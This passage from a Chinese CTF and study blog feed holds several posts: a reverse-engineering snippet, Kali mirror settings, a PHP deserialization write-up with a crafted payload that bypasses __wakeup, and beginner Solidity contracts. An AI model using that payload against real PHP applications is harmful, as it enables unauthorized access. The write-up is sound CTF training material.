class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs c++">LABEL_7:<br>        <span class="hljs-keyword">if</span> ( v9 &amp;&amp; !v9[<span class="hljs-number">1</span>] )<br>        &#123;<br>          *(_QWORD *)&amp;lmao[<span class="hljs-number">8</span>] = <span class="hljs-number">0x3F7D132A2A252822LL</span>;<br>          *(_QWORD *)lmao = <span class="hljs-number">0x7D2E370A180F1604LL</span>;<br>          *(_QWORD *)&amp;lmao[<span class="hljs-number">24</span>] = <span class="hljs-number">0x31207C7C381320LL</span>;<br>          *(_QWORD *)&amp;lmao[<span class="hljs-number">16</span>] = <span class="hljs-number">0x392A7F3F39132D13LL</span>;<br>          v18 = lmao;<br>          <span class="hljs-keyword">do</span><br>            *v18++ ^= **(_BYTE **)v7;<br>          <span class="hljs-keyword">while</span> ( &amp;lmao[<span class="hljs-number">31</span>] != v18 );<br>          <span class="hljs-built_in">puts</span>(lmao);<br>        &#125;<br>        <span class="hljs-keyword">goto</span> LABEL_9;<br>      &#125;<br>      <span class="hljs-keyword">if</span> ( !dirname )<br>        <span class="hljs-keyword">goto</span> LABEL_21;<br>      component = <span class="hljs-built_in">last_component</span>(*(<span class="hljs-type">const</span> <span class="hljs-type">char</span> **)v7);<br>      <span class="hljs-keyword">if</span> ( *component == <span class="hljs-number">46</span> )<br>      &#123;<br>        v17 = component[(component[<span class="hljs-number">1</span>] == <span class="hljs-number">46</span>) + <span class="hljs-number">1</span>];<br>        <span class="hljs-keyword">if</span> ( !v17 || v17 == <span class="hljs-number">47</span> )<br>          <span class="hljs-keyword">goto</span> LABEL_7;<br>      &#125;<br>      <span class="hljs-keyword">if</span> ( *v9 == <span class="hljs-number">47</span> )<br>      &#123;<br></code></pre></td></tr></table></figure><p>我们经过cyberchef的函数爆破，来获得最终的数据，注意在数组中存在大小端序的问题<br><img src="https://gitee.com/fogpost/photo/raw/master/202410281511684.png" srcset="/img/loading.gif" lazyload><br><a href="https://www.nssctf.cn/problem/3687">题目来源</a></p>]]></content>
    
    
    <categories>
      
      <category>逆向</category>
      
    </categories>
    
    
    <tags>
      
      <tag>tool</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>linux换源</title>
    <link href="/2024/10/28/linux/"/>
    <url>/2024/10/28/linux/</url>
    
    <content type="html"><![CDATA[<p>镜像省的搜</p><blockquote><p>sudo cp &#x2F;etc&#x2F;apt&#x2F;sources.list &#x2F;etc&#x2F;apt&#x2F;sources.list_backup</p></blockquote><blockquote><p>sudo gedit &#x2F;etc&#x2F;apt&#x2F;sources.list</p></blockquote><blockquote></blockquote><p>#deb <a href="http://mirrors.ustc.edu.cn/kali">http://mirrors.ustc.edu.cn/kali</a> kali-rolling main non-free contrib<br>#deb-src <a href="http://mirrors.ustc.edu.cn/kali">http://mirrors.ustc.edu.cn/kali</a> kali-rolling main non-free contrib</p>]]></content>
    
    
    <categories>
      
      <category>tool</category>
      
    </categories>
    
    
    <tags>
      
      <tag>linux</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>反序列化例题</title>
    <link href="/2024/10/27/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    <url>/2024/10/27/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</url>
    
    <content type="html"><![CDATA[<p>前期我们先以题带学，进行一下熟悉</p><h3 id="例题1-SWPUCTF-2021-新生赛-no-wakeup"><a href="#例题1-SWPUCTF-2021-新生赛-no-wakeup" class="headerlink" title="例题1 [SWPUCTF 2021 新生赛]no_wakeup"></a>例题1 [SWPUCTF 2021 新生赛]no_wakeup</h3><p>直接看到源码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-title function_ invoke__">header</span>(<span class="hljs-string">&quot;Content-type:text/html;charset=utf-8&quot;</span>);<br><span class="hljs-title function_ invoke__">error_reporting</span>(<span class="hljs-number">0</span>);<br><span class="hljs-title function_ invoke__">show_source</span>(<span class="hljs-string">&quot;class.php&quot;</span>);<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">HaHaHa</span></span>&#123;<br>        <span class="hljs-keyword">public</span> <span class="hljs-variable">$admin</span>;<br>        <span class="hljs-keyword">public</span> <span class="hljs-variable">$passwd</span>;<br><br>        <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>&#123;<br>            <span class="hljs-variable language_">$this</span>-&gt;admin =<span class="hljs-string">&quot;user&quot;</span>;<br>            <span class="hljs-variable language_">$this</span>-&gt;passwd = <span class="hljs-string">&quot;123456&quot;</span>;<br>        &#125;<br><br>        <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>)</span>&#123;<br>            <span class="hljs-variable language_">$this</span>-&gt;passwd = <span class="hljs-title function_ invoke__">sha1</span>(<span class="hljs-variable">$this</span>-&gt;passwd);<br>        &#125;<br><br>        <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span>&#123;<br>            <span class="hljs-keyword">if</span>(<span class="hljs-variable language_">$this</span>-&gt;admin === <span class="hljs-string">&quot;admin&quot;</span> &amp;&amp; <span class="hljs-variable language_">$this</span>-&gt;passwd === <span class="hljs-string">&quot;wllm&quot;</span>)&#123;<br>                <span class="hljs-keyword">include</span>(<span class="hljs-string">&quot;flag.php&quot;</span>);<br>                <span class="hljs-keyword">echo</span> <span class="hljs-variable">$flag</span>;<br>            &#125;<span class="hljs-keyword">else</span>&#123;<br>                <span class="hljs-keyword">echo</span> <span class="hljs-variable language_">$this</span>-&gt;passwd;<br>                <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;No wake up&quot;</span>;<br>            &#125;<br>        &#125;<br>    &#125;<br><span class="hljs-variable">$Letmeseesee</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;p&#x27;</span>];<br><span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$Letmeseesee</span>);<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>经过wp发现，在调用反序列化时，会自动执行_wakeip()导致passwd被sha1加密，并且不可逆，所以我们要考虑_wakeip()的让绕过</p><ul><li>知识点：php特性，当反序列化字符串中，表示对象属性个数的值大于真实属性个数时，会跳过__wakeup()函数的执行。</li></ul><pre><code class="php">$aa = new HaHaHa();$aa-&gt;admin = &quot;admin&quot;;$aa-&gt;passwd = &quot;wllm&quot;;$stus = serialize($aa);print_r($stus);</code></pre><p>O:6:”HaHaHa”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:4:”wllm”;}<br>序列化之后我们可以改变参数数量,上传即可<br>O:6:”HaHaHa”:3:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:4:”wllm”;}</p>]]></content>
    
    
    <categories>
      
      <category>网络</category>
      
    </categories>
    
    
    <tags>
      
      <tag>php</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>solidity</title>
    <link href="/2024/10/25/solidity/"/>
    <url>/2024/10/25/solidity/</url>
    
    <content type="html"><![CDATA[<h1 id="Solidity代码块"><a href="#Solidity代码块" class="headerlink" title="Solidity代码块"></a>Solidity代码块</h1><p>真不想写这个啊，没见过的代码，直接搜的到时候背就行,一下代码都是Solidity代码块，为了便于查看用的是c++格式解析，因为sd根本就没有自带解析，也懒得找了</p><h2 id="完成加减运算"><a href="#完成加减运算" class="headerlink" title="完成加减运算"></a>完成加减运算</h2><p>int &#x2F; uint ：分别表示有符号和无符号的不同位数的整型变量。 支持关键字 uint8 到 uint256 （无符号，从 8 位到 256 位）以及 int8 到 int256，以 8 位为步长递增。 uint 和 int 分别是 uint256 和 int256 的别名</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs c++">pragma solidity &gt;=<span class="hljs-number">0.4</span><span class="hljs-number">.21</span> &lt;=<span class="hljs-number">0.8</span><span class="hljs-number">.0</span><br><br>contract MatchTest&#123;<br>    function <span class="hljs-built_in">add</span>(uint i,uint j) pure <span class="hljs-keyword">public</span> <span class="hljs-built_in">returns</span>(uint)&#123;<br>        <span class="hljs-keyword">return</span> i + j;<br>    &#125;<br>    <span class="hljs-function">function <span class="hljs-title">sub</span><span class="hljs-params">(uint i,uint j)</span> pure <span class="hljs-keyword">public</span> <span class="hljs-title">returns</span><span class="hljs-params">(uint)</span></span>&#123;<br>        <span class="hljs-keyword">return</span> i - j;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><p>你看连识别都用不了</p><h2 id="简单计算器合约"><a href="#简单计算器合约" class="headerlink" title="简单计算器合约"></a>简单计算器合约</h2><p>题目: 创建一个合约，用于存储一个整数。用户可以通过 set(uint256 x) 函数来设置这个整数，通过 get() 函数来查询当前存储的值。</p><p>提示:<br>•    set(uint256 x)：设置存储的整数值。<br>•    get()：返回当前存储的整数值<br>题目: 实现一个简单的计算器合约，支持加法、减法、乘法和除法操作。分别实现 add(uint256 a, uint256 b)、subtract(uint256 a, uint256 b)、multiply(uint256 a, uint256 b) 和 divide(uint256 a, uint256 b) 函数。<br>提示:<br>add(uint256 a, uint256 b)：返回 a 和 b 的和。<br>subtract(uint256 a, uint256 b)：返回 a 和 b 的差。<br>multiply(uint256 a, uint256 b)：返回 a 和 b 的积。<br>divide(uint256 a, uint256 b)：返回 a 除以 b 的商，需检查 b 是否为零。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span><br>pragma solidity ^<span class="hljs-number">0.8</span><span class="hljs-number">.0</span>;<br><br>contract SimpleCalculator &#123;<br>    <span class="hljs-comment">// 加法函数</span><br>    <span class="hljs-function">function <span class="hljs-title">add</span><span class="hljs-params">(uint256 a, uint256 b)</span> <span class="hljs-keyword">public</span> pure <span class="hljs-title">returns</span> <span class="hljs-params">(uint256)</span> </span>&#123;<br>        <span class="hljs-keyword">return</span> a + b;<br>    &#125;<br><br>    <span class="hljs-comment">// 减法函数</span><br>    <span class="hljs-function">function <span class="hljs-title">subtract</span><span class="hljs-params">(uint256 a, uint256 b)</span> <span class="hljs-keyword">public</span> pure <span class="hljs-title">returns</span> <span class="hljs-params">(uint256)</span> </span>&#123;<br>        <span class="hljs-built_in">require</span>(a &gt;= b, <span class="hljs-string">&quot;Subtraction would result in a negative value&quot;</span>);<br>        <span class="hljs-keyword">return</span> a - b;<br>    &#125;<br><br>    <span class="hljs-comment">// 乘法函数</span><br>    <span class="hljs-function">function <span class="hljs-title">multiply</span><span class="hljs-params">(uint256 a, uint256 b)</span> <span class="hljs-keyword">public</span> pure <span class="hljs-title">returns</span> <span class="hljs-params">(uint256)</span> </span>&#123;<br>        <span class="hljs-keyword">return</span> a * b;<br>    &#125;<br><br>    <span class="hljs-comment">// 除法函数</span><br>    <span class="hljs-function">function <span class="hljs-title">divide</span><span class="hljs-params">(uint256 a, uint256 b)</span> <span class="hljs-keyword">public</span> pure <span class="hljs-title">returns</span> <span class="hljs-params">(uint256)</span> </span>&#123;<br>        <span class="hljs-built_in">require</span>(b != <span class="hljs-number">0</span>, <span class="hljs-string">&quot;Cannot divide by zero&quot;</span>);<br>        <span class="hljs-keyword">return</span> a / b;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h2 id="存储合约"><a href="#存储合约" class="headerlink" title="存储合约"></a>存储合约</h2><p>题目: 创建一个合约，用于存储一个整数。用户可以通过 set(uint256 x) 函数来设置这个整数，通过 get() 函数来查询当前存储的值。</p><p>提示:<br>•    set(uint256 x)：设置存储的整数值。<br>•    get()：返回当前存储的整数值。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span><br>pragma solidity ^<span class="hljs-number">0.8</span><span class="hljs-number">.0</span>;<br><br>contract SimpleStorage &#123;<br>    uint256 <span class="hljs-keyword">private</span> storedValue;<br><br>    <span class="hljs-comment">// 设置存储的整数值</span><br>    <span class="hljs-function">function <span class="hljs-title">set</span><span class="hljs-params">(uint256 x)</span> <span class="hljs-keyword">public</span> </span>&#123;<br>        storedValue = x;<br>    &#125;<br><br>    <span class="hljs-comment">// 返回当前存储的整数值</span><br>    <span class="hljs-function">function <span class="hljs-title">get</span><span class="hljs-params">()</span> <span class="hljs-keyword">public</span> view <span class="hljs-title">returns</span> <span class="hljs-params">(uint256)</span> </span>&#123;<br>        <span class="hljs-keyword">return</span> storedValue;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h2 id="简单身份验证合约"><a href="#简单身份验证合约" class="headerlink" title="简单身份验证合约"></a>简单身份验证合约</h2><p>题目: 实现一个身份验证合约，允许用户注册和查询注册状态。用户可以通过 register() 函数注册，通过 isRegistered(address user) 函数查询某个地址是否已注册。</p><p>提示:<br>•    register()：用户调用此函数进行注册。<br>•    isRegistered(address user)：返回指定地址的注册状态。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span><br>pragma solidity ^<span class="hljs-number">0.8</span><span class="hljs-number">.0</span>;<br><br>contract Authentication &#123;<br>    <span class="hljs-built_in">mapping</span>(address =&gt; <span class="hljs-type">bool</span>) <span class="hljs-keyword">private</span> registeredUsers;<br><br>    <span class="hljs-comment">// 注册函数：调用该函数的用户地址将被标记为已注册</span><br>    <span class="hljs-function">function <span class="hljs-title">register</span><span class="hljs-params">()</span> <span class="hljs-keyword">public</span> </span>&#123;<br>        <span class="hljs-built_in">require</span>(!registeredUsers[msg.sender], <span class="hljs-string">&quot;User is already registered&quot;</span>);<br>        registeredUsers[msg.sender] = <span class="hljs-literal">true</span>;<br>    &#125;<br><br>    <span class="hljs-comment">// 查询注册状态函数：返回指定地址的注册状态</span><br>    <span class="hljs-function">function <span class="hljs-title">isRegistered</span><span class="hljs-params">(address user)</span> <span class="hljs-keyword">public</span> view <span class="hljs-title">returns</span> <span class="hljs-params">(<span class="hljs-type">bool</span>)</span> </span>&#123;<br>        <span class="hljs-keyword">return</span> registeredUsers[user];<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h2 id="简单拍卖合约"><a href="#简单拍卖合约" class="headerlink" title="简单拍卖合约"></a>简单拍卖合约</h2><p>题目: 创建一个简单的拍卖合约，允许用户出价。实现 bid() 函数来提交出价，使用 getHighestBid() 函数查询当前最高出价。<br>提示:<br>•    bid()：提交出价，需确保出价高于当前最高出价。<br>•    getHighestBid()：返回当前最高出价。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span><br>pragma solidity ^<span class="hljs-number">0.8</span><span class="hljs-number">.0</span>;<br><br>contract SimpleAuction &#123;<br>    address <span class="hljs-keyword">public</span> highestBidder;<br>    uint256 <span class="hljs-keyword">public</span> highestBid;<br><br>    <span class="hljs-comment">// 提交出价函数，要求新出价高于当前最高出价</span><br>    <span class="hljs-function">function <span class="hljs-title">bid</span><span class="hljs-params">()</span> <span class="hljs-keyword">public</span> payable </span>&#123;<br>        <span class="hljs-built_in">require</span>(msg.value &gt; highestBid, <span class="hljs-string">&quot;Bid must be higher than the current highest bid&quot;</span>);<br><br>        <span class="hljs-comment">// 如果有之前的最高出价，将其退还给之前的最高出价者</span><br>        <span class="hljs-keyword">if</span> (highestBidder != <span class="hljs-built_in">address</span>(<span class="hljs-number">0</span>)) &#123;<br>            <span class="hljs-built_in">payable</span>(highestBidder).<span class="hljs-built_in">transfer</span>(highestBid);<br>        &#125;<br><br>        <span class="hljs-comment">// 更新最高出价者和最高出价</span><br>        highestBidder = msg.sender;<br>        highestBid = msg.value;<br>    &#125;<br><br>    <span class="hljs-comment">// 查询当前最高出价</span><br>    <span class="hljs-function">function <span class="hljs-title">getHighestBid</span><span class="hljs-params">()</span> <span class="hljs-keyword">public</span> view <span class="hljs-title">returns</span> <span class="hljs-params">(uint256)</span> </span>&#123;<br>        <span class="hljs-keyword">return</span> highestBid;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h2 id="简单奖励合约"><a href="#简单奖励合约" class="headerlink" title="简单奖励合约"></a>简单奖励合约</h2><p>题目: 创建一个合约，允许用户存款并根据存款金额给予奖励。实现 deposit() 函数进行存款和 getReward() 函数查询奖励。</p><p>提示:<br>•    deposit()：存入以太，系统给予 10% 的奖励。<br>•    getReward()：查询当前用户的奖励。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span><br>pragma solidity ^<span class="hljs-number">0.8</span><span class="hljs-number">.0</span>;<br><br>contract DepositRewards &#123;<br>    <span class="hljs-built_in">mapping</span>(address =&gt; uint256) <span class="hljs-keyword">private</span> deposits;<br>    <span class="hljs-built_in">mapping</span>(address =&gt; uint256) <span class="hljs-keyword">private</span> rewards;<br><br>    <span class="hljs-comment">// 存款函数，用户存入以太并获得 10% 的奖励</span><br>    <span class="hljs-function">function <span class="hljs-title">deposit</span><span class="hljs-params">()</span> <span class="hljs-keyword">public</span> payable </span>&#123;<br>        <span class="hljs-built_in">require</span>(msg.value &gt; <span class="hljs-number">0</span>, <span class="hljs-string">&quot;Deposit amount must be greater than zero&quot;</span>);<br><br>        <span class="hljs-comment">// 记录用户的存款金额</span><br>        deposits[msg.sender] += msg.value;<br><br>        <span class="hljs-comment">// 计算奖励并更新奖励映射</span><br>        uint256 reward = (msg.value * <span class="hljs-number">10</span>) / <span class="hljs-number">100</span>;<br>        rewards[msg.sender] += reward;<br>    &#125;<br><br>    <span class="hljs-comment">// 查询当前用户的奖励</span><br>    <span class="hljs-function">function <span class="hljs-title">getReward</span><span class="hljs-params">()</span> <span class="hljs-keyword">public</span> view <span class="hljs-title">returns</span> <span class="hljs-params">(uint256)</span> </span>&#123;<br>        <span class="hljs-keyword">return</span> rewards[msg.sender];<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h2 id="投票合约"><a href="#投票合约" class="headerlink" title="投票合约"></a>投票合约</h2><p>题目: 创建一个投票合约，允许用户注册候选人并为其投票。实现 addCandidate(string memory name) 和 vote(uint candidateId) 函数。</p><p>提示:<br>•    addCandidate(string memory name)：添加新的候选人。<br>•    vote(uint candidateId)：为指定候选人投票。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span><br>pragma solidity ^<span class="hljs-number">0.8</span><span class="hljs-number">.0</span>;<br><br>contract Voting &#123;<br>    <span class="hljs-keyword">struct</span> <span class="hljs-title class_">Candidate</span> &#123;<br>        string name;<br>        uint256 voteCount;<br>    &#125;<br><br>    Candidate[] <span class="hljs-keyword">public</span> candidates;<br>    <span class="hljs-built_in">mapping</span>(address =&gt; <span class="hljs-type">bool</span>) <span class="hljs-keyword">private</span> hasVoted;<br><br>    <span class="hljs-comment">// 添加候选人函数</span><br>    <span class="hljs-function">function <span class="hljs-title">addCandidate</span><span class="hljs-params">(string memory name)</span> <span class="hljs-keyword">public</span> </span>&#123;<br>        candidates.<span class="hljs-built_in">push</span>(<span class="hljs-built_in">Candidate</span>(name, <span class="hljs-number">0</span>));<br>    &#125;<br><br>    <span class="hljs-comment">// 投票函数，为指定候选人投票</span><br>    <span class="hljs-function">function <span class="hljs-title">vote</span><span class="hljs-params">(uint256 candidateId)</span> <span class="hljs-keyword">public</span> </span>&#123;<br>        <span class="hljs-built_in">require</span>(candidateId &lt; candidates.length, <span class="hljs-string">&quot;Invalid candidate ID&quot;</span>);<br>        <span class="hljs-built_in">require</span>(!hasVoted[msg.sender], <span class="hljs-string">&quot;You have already voted&quot;</span>);<br><br>        <span class="hljs-comment">// 增加候选人的票数</span><br>        candidates[candidateId].voteCount += <span class="hljs-number">1</span>;<br><br>        <span class="hljs-comment">// 标记该用户已投票</span><br>        hasVoted[msg.sender] = <span class="hljs-literal">true</span>;<br>    &#125;<br><br>    <span class="hljs-comment">// 获取候选人总数</span><br>    <span class="hljs-function">function <span class="hljs-title">getCandidateCount</span><span class="hljs-params">()</span> <span class="hljs-keyword">public</span> view <span class="hljs-title">returns</span> <span class="hljs-params">(uint256)</span> </span>&#123;<br>        <span class="hljs-keyword">return</span> candidates.length;<br>    &#125;<br><br>    <span class="hljs-comment">// 获取候选人信息</span><br>    <span class="hljs-function">function <span class="hljs-title">getCandidate</span><span class="hljs-params">(uint256 candidateId)</span> <span class="hljs-keyword">public</span> view <span class="hljs-title">returns</span> <span class="hljs-params">(string memory, uint256)</span> </span>&#123;<br>        <span class="hljs-built_in">require</span>(candidateId &lt; candidates.length, <span class="hljs-string">&quot;Invalid candidate ID&quot;</span>);<br>        <span class="hljs-keyword">return</span> (candidates[candidateId].name, candidates[candidateId].voteCount);<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h2 id="众筹合约"><a href="#众筹合约" class="headerlink" title="众筹合约"></a>众筹合约</h2><p>题目: 创建一个众筹合约，允许用户出资并达到目标后提取资金。实现 contribute() 和 withdraw() 函数。</p><p>提示:<br>•    contribute()：允许用户捐款并记录贡献金额。<br>•    withdraw()：允许众筹目标达成后提取资金。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span><br>pragma solidity ^<span class="hljs-number">0.8</span><span class="hljs-number">.0</span>;<br><br>contract Crowdfunding &#123;<br>    address <span class="hljs-keyword">public</span> owner;<br>    uint256 <span class="hljs-keyword">public</span> goal;<br>    uint256 <span class="hljs-keyword">public</span> totalContributions;<br>    <span class="hljs-type">bool</span> <span class="hljs-keyword">public</span> goalReached;<br>    <br>    <span class="hljs-built_in">mapping</span>(address =&gt; uint256) <span class="hljs-keyword">public</span> contributions;<br><br>    <span class="hljs-built_in">constructor</span>(uint256 _goal) &#123;<br>        owner = msg.sender;<br>        goal = _goal;<br>        goalReached = <span class="hljs-literal">false</span>;<br>    &#125;<br><br>    <span class="hljs-comment">// 出资函数，记录用户的贡献金额</span><br>    <span class="hljs-function">function <span class="hljs-title">contribute</span><span class="hljs-params">()</span> <span class="hljs-keyword">public</span> payable </span>&#123;<br>        <span class="hljs-built_in">require</span>(msg.value &gt; <span class="hljs-number">0</span>, <span class="hljs-string">&quot;Contribution must be greater than zero&quot;</span>);<br>        <span class="hljs-built_in">require</span>(!goalReached, <span class="hljs-string">&quot;Goal already reached&quot;</span>);<br><br>        contributions[msg.sender] += msg.value;<br>        totalContributions += msg.value;<br><br>        <span class="hljs-comment">// 如果总贡献金额达到或超过目标，标记为达成</span><br>        <span class="hljs-keyword">if</span> (totalContributions &gt;= goal) &#123;<br>            goalReached = <span class="hljs-literal">true</span>;<br>        &#125;<br>    &#125;<br><br>    <span class="hljs-comment">// 提取资金函数，众筹达成目标后允许合约所有者提取资金</span><br>    <span class="hljs-function">function <span class="hljs-title">withdraw</span><span class="hljs-params">()</span> <span class="hljs-keyword">public</span> </span>&#123;<br>        <span class="hljs-built_in">require</span>(msg.sender == owner, <span class="hljs-string">&quot;Only the owner can withdraw funds&quot;</span>);<br>        <span class="hljs-built_in">require</span>(goalReached, <span class="hljs-string">&quot;Funding goal not reached&quot;</span>);<br><br>        <span class="hljs-built_in">payable</span>(owner).<span class="hljs-built_in">transfer</span>(<span class="hljs-built_in">address</span>(<span class="hljs-keyword">this</span>).balance);<br>    &#125;<br><br>    <span class="hljs-comment">// 查询用户的贡献金额</span><br>    <span class="hljs-function">function <span class="hljs-title">getContribution</span><span class="hljs-params">(address contributor)</span> <span class="hljs-keyword">public</span> view <span class="hljs-title">returns</span> <span class="hljs-params">(uint256)</span> </span>&#123;<br>        <span class="hljs-keyword">return</span> contributions[contributor];<br>    